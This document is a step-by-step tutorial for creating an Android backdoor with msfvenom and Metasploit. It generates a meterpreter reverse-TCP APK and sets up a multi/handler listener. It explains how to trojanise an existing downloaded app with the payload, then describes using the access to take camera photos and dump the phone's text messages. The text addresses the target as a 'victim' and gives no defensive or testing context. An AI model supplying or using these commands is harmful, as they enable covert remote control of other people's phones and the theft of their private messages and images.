- Linux-based OS
- You'll need to have msfconsole installed on your machine
You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor.
- Install apktool as well.
Steps1) First of all open up your terminal. (Ctrl + Alt + T)
$ sudo apt-get updateUpdate your repositories before starting.
2) Once updated, we can start. Simply follow the steps below to get started:
$ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='xxx.xxx.x.x' LPORT='xxxx' R > testfile.apkReplace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.
- You can check out the architecture list for msfvenom here!
$ ifconfigifconfig will give you the IP address you need to start the exploit.
3) Once you've set LHOST and LPORT, Press Enter and wait till the Main activity is created.
4) After it's created, simply move the apk file to your phone and Install it.
5) Open ./msfconsole on your terminal.
$ sudo ./msfconsole6) Once the console is up, turn it to the exploit mode by generating the following command:
msf > use multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 'xxx.xxx.x.x'
msf exploit(handler) > set LPORT 'xxxx'
7) Almost done!
Run exploit and tap on the Main Activity you just installed on your android phone. This will give you access to the android phone from the terminal.
msf exploit(handler) > exploit8) The meterpreter must be up and running by now. Run the help command to see the arguments you can use.
meterpreter > webcam_snap -i 2
You can also generate the backdoor in an existing app.
Simply download the app from the internet, and use the '-x' to specify the name of the app you just dowloaded.
After msfvenom re created the app, install it into your android phone and the remaining steps remains the same.
This will take a picture from the camera you specified, of course, if the android phone has front and back camera. The camera is specified in the form of index (-i).
1: Front Camera
2: Back Camera
Will list all running activities on the phone.
Will save all the messages sent and received on the android phone, to an external .txt file.
